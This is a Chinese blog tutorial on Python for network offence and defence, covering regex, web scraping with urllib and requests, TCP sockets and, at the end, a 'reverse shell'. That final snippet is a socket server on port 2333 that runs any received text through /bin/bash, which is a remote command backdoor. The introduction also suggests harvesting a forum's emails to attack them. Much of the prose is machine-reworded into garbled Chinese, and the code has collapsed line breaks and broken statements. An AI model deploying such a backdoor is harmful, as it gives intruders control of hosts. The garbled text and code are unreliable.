侦查: 漏洞挖掘
武器制作: 攻击、载荷
分发: 垃圾邮件等
利用: 漏洞利用
安装: 恶意代码、网页
远程掌握: 僵尸网络
行动: 窃密、毁坏、跳板
为什选择Python作为开拓工具呢?
真正厉害的安全工程师都会自己去制作所须要的工具,而Python措辞便是这样一个利器。Python开拓的平台包括Seebug、TangScan、BugScan等。在广度上,Python可以进行蜜罐支配、沙盒、Wifi中间人、Scrapy网络爬虫、漏洞编写、常用小工具等;在深度上,Python可以实现SQLMAP这样一款强大的SQL注入工具,实现mitmproxy中间人攻击神器等。由于Python具有大略、易学习、免费开源、高等措辞、可移植、可扩展、丰富的第三方库函数特点,Python几行代码就能实现Java须要大量代码的功能,并且Python是跨平台的,Linux和Windows都能利用,它能快速实现并验证我们的网络攻防想法,以是选择它作为我们的开拓工具。
那么,我们又可以用Python做什么呢?
目录扫描:Web+多线程(requests+threading+Queue),后台、敏感文件(svn|upload)、敏感目录(phpmyadmin)。
信息搜集:Web+数据库,中间件(Tomcat | Jboss)、C段Web信息、搜集特点程序。例如:搜索某个论坛上的所有邮箱,再进行攻击。
信息匹配&SQL注入:Web+正则,抓取信息(用户名|邮箱)、SQL注入。
反弹shell:通过添加代码获取Shell及网络信息。
接下来我们开始学习Python正则表达式、Python Web编程和Python网络编程。建议读者做好以下准备:
选择一个自己喜好顺手的编辑器
至少看一本关于Python的书本
会利用Python自带的一些功能,学习阅读源代码
阅读官方文档,尤其是常用的库
多练习,多实战
举个大略Python示例,通过import导入扩展包base64,它是将字符串base64加解码的模块, 通过print dir(base64)、help(base64)可以查看干系功能。
# -- coding: utf-8 --import base64print dir(base64)print base64.__file__print base64.b64encode(39;eastmount')
输出结果如下图所示,包括查看源代码文件位置和“eastmount”转码。
二.Python正则表达式
(一) 正则表达式根本
在利用正则表达式之前,我们须要基本理解Python根本知识、HTTP协议,熟习利用BurpSuite、SQLMAP工具。Python正则表达式被广泛运用在爬虫开拓、多线程、网络编程中,而hacker运用也会涉及到正则表示式干系知识,比如扫描、爆破、POC等。
正则表达式(RegEx)利用单个字符串来描述、匹配一系列符合某个句法规则的字符串。 例如,如果想获取里面的ip地址,就须要利用正则表达式实现。Python通过re模块供应正则表达式的支持,其基本步骤如下:
先将正则表达式的字符串形式编译我Pattern实例(compile)
利用Pattern实例处理文本并得到匹配结果(match find findall)
利用实例得到信息,进行其他的操作( 匹配结果)
举一个大略例子:
import repattern = re.compile('east')match = pattern.match('eastmount!')print match.group()word = re.findall('east', 'east mount')print word
输出结果为:
east['east']
1.点(.)表示匹配任意换行符“\n”以外的字符。
import reword = "http://www.eastmount.com Python_9.29"key = re.findall('t.', word)print key
输出结果为:[‘tt’, ‘tm’, ‘t.’, ‘th’],依次匹配t加任意字符的两个字符。
2.斜杠(\)表示匹配转义字符 如果须要匹配点的话,必须要\转义字符。
import reword = "http://www.eastmount.com Python_9.29"key = re.findall('\.', word)print key
输出结果为:[’.’, ‘.’, ‘.’]。
3.[…] 中括号是对应位置可以是字符集中任意字符。
字符集中的字符可以逐个列出,也可以给出范围,如[abc]或[a-c],第一个字符如果是^表示取反,如 [ ^ abc]表示不是abc的其他字符。例如:a[bcd]e 能匹配到 abe、ace、ade。
4.匹配数字和非数字案例。
# -- coding: utf-8 --import re#匹配数字word = "http://www.eastmount.com Python_9.29"key = re.findall('\d\.\d\d', word)print key#匹配非数字key = re.findall('\D', word)print key
输出结果如下图所示:
正则表达式较难堪理解,更推举读者真正利用的时候学会去百度干系的规则,会利用即可。同时,更多正则表达式的利用方法建议读者下来之后自行学习,常见表如下图所示。
(二) 常用正则表达式规则
下面讲解比较常见的正则表达式规则,这些规则可能会对我们的网络攻防有一定帮助。
1.获取数字
# -- coding: utf-8 --import restring="A1.45,b5,6.45,8.82"regex = re.compile(r"\d+\.?\d")print regex.findall(string)
输出结果为:[‘1.45’, ‘5’, ‘6.45’, ‘8.82’]
2.抓取标签间的内容
# coding=utf-8 import re import urllibhtml = u'<title>欢迎走进Python攻防系列专栏</title>' title = re.findall(r'<title>(.?)</title>', html)for i in title: print i
输出结果为:
3.抓取超链接标签间的内容
# coding=utf-8 import re import urlliburl = "http://www.baidu.com/" content = urllib.urlopen(url).read()#获取完全超链接res = r"<a.?href=.?<\/a>"urls = re.findall(res, content)for u in urls: print unicode(u,'utf-8')#获取超链接<a>和</a>之间内容res = r'<a .?>(.?)</a>' texts = re.findall(res, content, re.S|re.M) for t in texts: print unicode(t,'utf-8')
输出结果部分内容如下所示,这里如果采取“print u”或“print t”语句直接输出结果,可能会是中文乱码,则须要调用函数unicode(u,‘utf-8’)转换为utf-8编码,精确显示中文。
#获取完全超链接<a href="http://news.baidu.com" name="tj_trnews" class="mnav">新闻</a><a href="http://www.hao123.com" name="tj_trhao123" class="mnav">hao123</a><a href="http://map.baidu.com" name="tj_trmap" class="mnav">舆图</a><a href="http://v.baidu.com" name="tj_trvideo" class="mnav">视频</a>...#获取超链接<a>和</a>之间内容新闻hao123舆图视频...
4.抓取超链接标签的url
# coding=utf-8 import recontent = '''<a href="http://news.baidu.com" name="tj_trnews" class="mnav">新闻</a><a href="http://www.hao123.com" name="tj_trhao123" class="mnav">hao123</a><a href="http://map.baidu.com" name="tj_trmap" class="mnav">舆图</a><a href="http://v.baidu.com" name="tj_trvideo" class="mnav">视频</a>'''res = r"(?<=href=\").+?(?=\")|(?<=href=\').+?(?=\')"urls = re.findall(res, content, re.I|re.S|re.M)for url in urls: print url
获取的超链接输出结果如下图所示:
5.抓取图片超链接标签的url和图片名称
在HTML中,我们可以看到各式各样的图片,其图片标签的基本格式为“< img src=图片地址 />”,只有通过抓取了这些图片的原地址,才能下载对应的图片至本地。那么究竟怎么获取图片标签中的原图地址呢?下面这段代码便是获取图片链接地址的方法。
content = '''<img alt="Python" src="http://www.yangxiuzhang.com/eastmount.jpg" />'''urls = re.findall('src="(.?)"', content, re.I|re.S|re.M)print urls# ['http://www.yangxiuzhang.com/eastmount.jpg']
个中图片对应的原图地址为“http://www.yangxiuzhang.com/eastmount.jpg”,它对应一张图片,该图片是存储在“www.yangxiuzhang.com”网站做事器真个,末了一个“/”后面的字段为图片名称,即为“eastmount.jpg”。那么如何获取url中末了一个参数呢?
content = '''<img alt="Python" src="http://www..csdn.net/eastmount.jpg" />'''urls = 'http://www..csdn.net/eastmount.jpg'name = urls.split('/')[-1] print name# eastmount.jpg
更多正则表达式的用法,读者结合实际情形进行复现。
三.Python Web编程这里的Web编程并不是利用Python开拓Web程序,而是用Python与Web交互,获取Web信息。紧张内容包括:
urllib、urllib2、requests
爬虫先容
利用Python开拓一个大略的爬虫
(一) urllib\urllib2是Python用于获取URL(Uniform Resource Locators,统一资源定址器)的库函数,可以用来抓取远程数据并保存,乃至可以设置头(header)、代理、超时认证等。urllib模块供应的上层接口让我们像读取本地文件一样读取www或ftp上的数据。它比C++、C#等其他编程措辞利用起来更方便。其常用的方法如下:
urlopen(url, data=None, proxies=None)
该方法用于创建一个远程URL的类文件工具,然后像本地文件一样操作这个类文件工具来获取远程数据。参数url表示远程数据的路径,一样平常是网址;参数data表示以post办法提交到url的数据;参数proxies用于设置代理。urlopen返回一个类文件工具。
# -- coding:utf-8 --import urlliburl = "http://www.baidu.com"content = urllib.urlopen(url)print content.info() #头信息print content.geturl() #要求urlprint content.getcode() #http状态码
该段调用调用urllib.urlopen(url)函数打开百度链接,并输出头、url、http状态码等信息,如下图所示。
urlretrieve(url, filename=None, reporthook=None, data=None)
urlretrieve方法是将远程数据下载到本地,参数filename指定了保存到本地的路径,如果省略该参数,urllib会自动天生一个临时文件来保存数据;参数reporthook是一个回调函数,当连接上做事器,相应的数据块传输完毕时会触发该回调,常日利用该回调函数来显示当前的下载进度;参数data指通报到做事器的数据。下
# -- coding:utf-8 --import urlliburl = 'https://www.baidu.com/img/bd_logo.png'path = 'test.png'urllib.urlretrieve(url, path)
它将百度Logo图片下载至本地。
urllib2中调用的方法为:urllib2.urlopen()、urllib2.requests()。
(二) requestsrequests模块是用Python措辞编写的、基于urllib的第三方库,采取Apache2 Licensed开源协议的http库。它比urllib更加方便,既可以节约大量的事情,又完备知足http测试需求。requests是一个很实用的Python http客户端库,编写爬虫和测试做事器相应数据时常常会用到。推举大家从 requests官方网站 进行学习,这里只做大略先容。
假设读者已经利用“pip install requests”安装了requests模块,下面讲解该模块的基本用法。
1.发送网络要求
r = requests.get("http://www.eastmountyxz.com")r = requests.post("http://www.eastmountyxz.com")r = requests.put("http://www.eastmountyxz.com")r = requests.delete("http://www.eastmountyxz.com")r = requests.head("http://www.eastmountyxz.com")r = requests.options("http://www.eastmountyxz.com")
2.为URL通报参数
import requestspayload = {'key1':'value1', 'key2':'value2'}r = requests.get('http://httpbin.org/get', params=payload)print r.url
输出结果如下图所示,将参数进行了拼接。
3.相应内容
import requestsr = requests.get('http://www.eastmountyxz.com')print r.textprint r.encoding
4.二进制相应内容
r = requests.get('http://www.eastmountyxz.com') print r.content
5.定制要求头
url = 'http://www.ichunqiu.com'headers = {'content-type':'application/json'}r = requests.get(url, headers=headers)
把稳:headers中可以加入cookies
6.繁芜的POST要求
payload = {'key1':'value1', 'key2':'value2'}r = requests.post('http://httpbin.org/post', data=payload)
7.相应状态码和相应头
r = requests.get('http://www.ichunqiu.com')r.status_coder.headers
8.Cookies
r.cookiesr.cookies['example_cookie_name']
9.超时
requests.get('http://www.ichunqiu.com', timeout=0.001)
10.缺点和非常碰着网络问题(如:DNS查询失落败,谢绝链接等)时,requests会抛出一个ConnectionError非常;碰着罕见的无效HTTP相应式时,requests则会抛出一个HTTPError非常;若要求超时,会抛出一个Timeout非常。
(三) 网络爬虫案例网络爬虫又称为网页蜘蛛,网络机器人,网页追逐者,是按照一定规则自动抓取万维网信息的程序或脚本。最大好处是批量且自动化得到和处理信息,对付宏不雅观或微不雅观的情形都可以多一个侧面去理解。在安全领域,爬虫能做目录扫描、搜索测试页面、样本文档、管理员登录页面等。很多公司(如绿盟)的Web漏洞扫描也通过Python来自动识别漏洞。
下面以ichunqiu为例(https://www.ichunqiu.com/courses),利用requests爬取它的课程信息。我们打开第二页,创造URL没有变换,解释它是POST通报数据,接下来我们利用BurpSuite进行剖析。
前面的文章详细讲解了BurpSuite如何配置,这里就不再赘述,直策应用即可。但是由于目标网站是HTTPS协议,作者考试测验安全证书,但终极都无法成功访问该网址,总是如下图所示访问证书网站。以是末了换了目标网站,其事理都是一样的,后续连续深入研究该问题。
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy根本用法及暴库示例
下面两个案例虽然大略,却能办理很多人的问题,希望读者可以考试测验下。
1.设置头要求假设我们须要抓取360百科的乔布斯信息(https://baike.so.com/doc/24386561-25208408.html),如下图所示。
传统的爬虫代码会被网站拦截,从而无法获取干系信息。
# -- coding: utf-8 --import requestsurl = "https://baike.so.com/doc/24386561-25208408.html"content = requests.get(url, headers=headers)print content.text
右键审查元素(按F12),在Network中获取Headers值。headers中有很多内容,紧张常用的便是user-agent 和 host,它们因此键对的形式展现出来,如果user-agent 以字典键对形式作为headers的内容,就可以反爬成功
代码如下:
# -- coding: utf-8 --import requests#添加要求头url = "https://baike.so.com/doc/24386561-25208408.html"headers = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36'}content = requests.get(url, headers=headers)content.encoding='utf-8'print content.text
输出结果如下图所示:
有部分网站会返回Json格式的数据,我们可以通过json模块进行处理。核心代码如下:
data = json.loads(r.text)print data['result']name_len = len(data['result'])for i range(name_len):print data['result'][i]['courseName']
2.提交数据要求
部分网站如果涉及到翻页,须要获取所有页码的信息,最传统的方法是定义一个函数,然后设计一个循环,一次遍历不同页面的内容实现。核心代码如下:
url_start = ""url_end = ""def lesson(url): ....for i in range(1,9)url = url_start+ str(i) + url_endlesson(url)
但如果URL始终保持不变,就须要我们深入地剖析,或通过Selenium仿照浏览器抓取,这里供应一个技巧性比较强的方法。
正如 博客园zhaof大佬 的文章,我们想爬取上海公民法院的开庭公开信息,但通过翻页创造这个页面的url地址是不变的,以是这里我们大致就可以判断出,中间表格的数据是通过js动态加载的,我们可以通过剖析抓包,找到真实的要求地址。
目标网址:http://www.hshfy.sh.cn/shfy/gweb2017/ktgg_search.jsp
通过审查元素可以创造有个pagesnum变量,它标记为我们的页码,以是这里须要通过requests提交变量数据,就能实现翻页。
核心代码如下:
# -- coding: utf-8 --import requestsimport timeimport datetimeurl = "http://www.hshfy.sh.cn/shfy/gweb/ktgg_search_content.jsp?"page_num = 1date_time = datetime.date.fromtimestamp(time.time())print date_timedata = { "pktrqks": date_time, "ktrqjs": date_time, "pagesnum": page_num}print datacontent = requests.get(url, data, timeout=3)content.encoding='gbk'print content.text
四.Python套接字通信
(一) 什么是C/S架构呢?
Python网络通讯紧张是C/S架构的,采取套接字实现。C/S架构是客户端(Client)和做事端(Server)架构,Server唯一的目的便是等待Client的要求,Client连上Server发送必要的数据,然后等待Server端完成要求的反馈。
C/S网络编程:
Server端进行设置,首先创建一个通信端点,让Server端能够监听要求,之后就进入等待和处理Client要求的无限循环中。Client编程相对Server端编程大略,只要创建一个通信端点,建立到做事器的链接,就可以提出要求了。
(二) 什么是套接字?
套接字是一种具有之前所说的“通信端点”观点的打算网络数据构造,网络化的运用程序在开始任何通信都必须创建套接字。相称于电话插口,没它无法通信,这个比喻非常形象。Python支持:AF_UNIX、AF_NETLINK、AF_INET,个中AF_INET是基于网络的套接字。
套接字起源于20世纪70年代加州伯克利分校版本的Unix,即BSD Unix,又称为“伯克利套接字”或“BSD套接字”。最初套接字被设计用在同一台主机上多个运用程序之间的通讯,这被称为进程间通讯或IPC。
套接字分两种:基于文件型和基于网络的
第一个套接字家族为AF_UNIX,表示地址家族:UNIX。包括Python在内的大多数盛行平台上都利用术语“地址家族”及其缩写AF。由于两个进程都运行在同一台机器上,而且这些套接字是基于文件的,以是它们的底层构造是由文件系统来支持的。可以理解为同一台电脑上,文件系统确实是不同的进程都能进行访问的。
第二个套接字家族为AF_INET,表示地址家族:Internet。还有一种地址家族AF_INET6被用于网际协议IPv6寻址。Python 2.5中加入了一种Linux套接字的支持:AF_NETLINK(无连接)套接字家族,让用户代码与内核代码之间的IPC可以利用标准BSD套接字接口,这种方法更为风雅和安全。
如果把套接字比作电话的查看——即通信的最底层构造,那主机与端口就相称于区号和电话号码的一对组合。一个因特网地址由网络通信必须的主机与端口组成。而且另一端一定要有人接听才行,否则会提示“对不起,您拨打的电话是空号,请查询后再拨”。同样你也可能会碰着如“不能连接该做事器、做事器无法相应”等。合法的端口范围是0~65535,个中小于1024端口号为系统保留端口。
(三) 面向连接与无连接
1.面向连接 TCP
通信之前一定要建立一条连接,这种通信办法也被成为“虚电路”或“流套接字”。面向连接的通信办法供应了顺序的、可靠地、不会重复的数据传输,而且也不会被加上数据边界。这意味着,每发送一份信息,可能会被拆分成多份,每份都会不多不少地精确到达目的地,然后重新按顺序拼装起来,传给正等待的运用程序。
实现这种连接的紧张协议便是传输掌握协议TCP。要创建TCP套接字就得创建时指定套接字类型为SOCK_STREAM。TCP套接字这个类型表示它作为流套接字的特点。由于这些套接字利用网际协议IP来查找网络中的主机,以是这样形成的全体系统,一样平常会由这两个协议(TCP和IP)组合描述,即TCP/IP。
2.无连接 UDP
无需建立连接就可以通讯。但此时,数据到达的顺序、可靠性及不重复性就无法保障了。数据报会保留数据边界,这就表示数据是全体发送的,不会像面向连接的协议先拆分成小块。它就相称于邮政做事一样,邮件和包裹不一定按照发送顺序达到,有的乃至可能根本到达不到。而且网络中的报文可能会重复发送。那么这么多缺陷,为什么还要利用它呢?由于面向连接套接字要供应一些担保,须要掩护虚电路连接,这都是严重的额外包袱。数据报没有这些包袱,所有它会更”便宜“,常日能供应更好的性能,更适宜某些场合,如现场直播哀求的实时数据讲究快等。
实现这种连接的紧张协议是用户数据报协议UDP。要创建UDP套接字就得创建时指定套接字类型为SOCK_DGRAM。这个名字源于datagram(数据报),这些套接字利用网际协议来查找网络主机,全体系统叫UDP/IP。
(四) socket()模块函数
利用socket模块的socket()函数来创建套接字。语法如下:
socket(socket_family, socket_type, protocol=0)
个中socket_family不是AF_VNIX便是AF_INET,socket_type可以是SOCK_STREAM或者SOCK_DGRAM,protocol一样平常不填,默认值是0。
创建一个TCP/IP套接字的语法如下:
tcpSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
同样创建一个UDP/IP套接字的语法如下:
udpSock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
由于socket模块中有太多属性,以是利用"from socket import "语句,把socket模块里面的所有属性都带到命名空间中,大幅缩短代码。调用如下:
tcpSock = socket(AF_INET, SOCK_STREAM)
下面是最常用的套接字工具方法:
提示:在运行网络运用程序时,如果能够利用在不同的电脑上运行做事器和客户端最好不过,它能让你更好理解通信过程,而更多的是方位localhost或127.0.0.1。
(五) TCP通信实例1.做事器 tcpSerSock.py核心操作如下:
# -- coding: utf-8 -- from socket import from time import ctimeHOST = 'localhost' #主机名PORT = 21567 #端口号BUFSIZE = 1024 #缓冲区大小1KADDR = (HOST,PORT)tcpSerSock = socket(AF_INET, SOCK_STREAM)tcpSerSock.bind(ADDR) #绑定地址到套接字tcpSerSock.listen(5) #监听 最多同时5个连接进来while True: #无限循环等待连接到来 try: print 'Waiting for connection ....' tcpCliSock, addr = tcpSerSock.accept() #被动接管客户端连接 print u'Connected client from : ', addr while True: data = tcpCliSock.recv(BUFSIZE) #接管数据 if not data: break else: print 'Client: ',data tcpCliSock.send('[%s] %s' %(ctime(),data)) #韶光戳 except Exception,e: print 'Error: ',etcpSerSock.close() #关闭做事器tcpCliSock.close()
2.客户端 tcpCliSock.py核心操作如下:
# -- coding: utf-8 -- from socket import HOST = 'localhost' #主机名PORT = 21567 #端口号 与做事器同等BUFSIZE = 1024 #缓冲区大小1KADDR = (HOST,PORT)tcpCliSock = socket(AF_INET, SOCK_STREAM)tcpCliSock.connect(ADDR) #连接做事器while True: #无限循环等待连接到来 try: data = raw_input('>') if not data: break tcpCliSock.send(data) #发送数据 data = tcpCliSock.recv(BUFSIZE) #接管数据 if not data: break print 'Server: ', data except Exception,e: print 'Error: ',e tcpCliSock.close() #关闭客户端
由于做事器被动地无限循环等待连接,以是须要先运行做事器,再开客户端。又由于我的Python总会无法相应,以是采取cmd运行做事器Server程序,Python IDLE运行客户端进行通信。运行结果如下图所示:
如果涌现缺点[Error] Bad file descriptor表示做事器关闭客户端连接了,删除即可。建议:创建线程来处理客户端要求。SocketServer模块是一个基于socket模块的高等别的套接字通信模块,支持新的线程或进程中处理客户端要求。同时建议在退出和调用做事器close()函数时利用try-except语句。
那么,如何反弹shell程序呢?
利用 from subprocess import Popen, PIPE 导入库,调用系统命令实现。核心代码如下:
from subprocess import Popen, PIPEfrom socket import from time import ctimeHOST = '' #本机作为做事端,地址可以不填写PORT = 2333 #端口BUFSIZE = 1024 #传输数据所占大小ADDR = (HOST, PORT)#做事端代码tcpServer = socket(AF_INET, SOCK_STREAM)#地址绑定套接字tcpServer.bind(ADDR)#做事端监听tcpServer.listen(5)#接听数据while True:print 'waiting for connection...'#绑定tcpClient,addr = tcpServer.accept()print '..connected from:', addrwhile True:data = tcpClient.recv(BUFSIZE)if not data:breakcmd = Popen(['/bin/bash', '-c', data], stdin=PIPE, stdout=PIPE)data = cmd.stdout.read()tcpClient.send('[%s] %s' % (ctime(), data))#关闭连接tcpClient.close()tcpServer.close()
五.总结
希望这篇文章对你有所帮助,这是Python网络攻防非常根本的一篇博客,后续作者也将连续深入学习,制作一些常用的小工具供大家互换。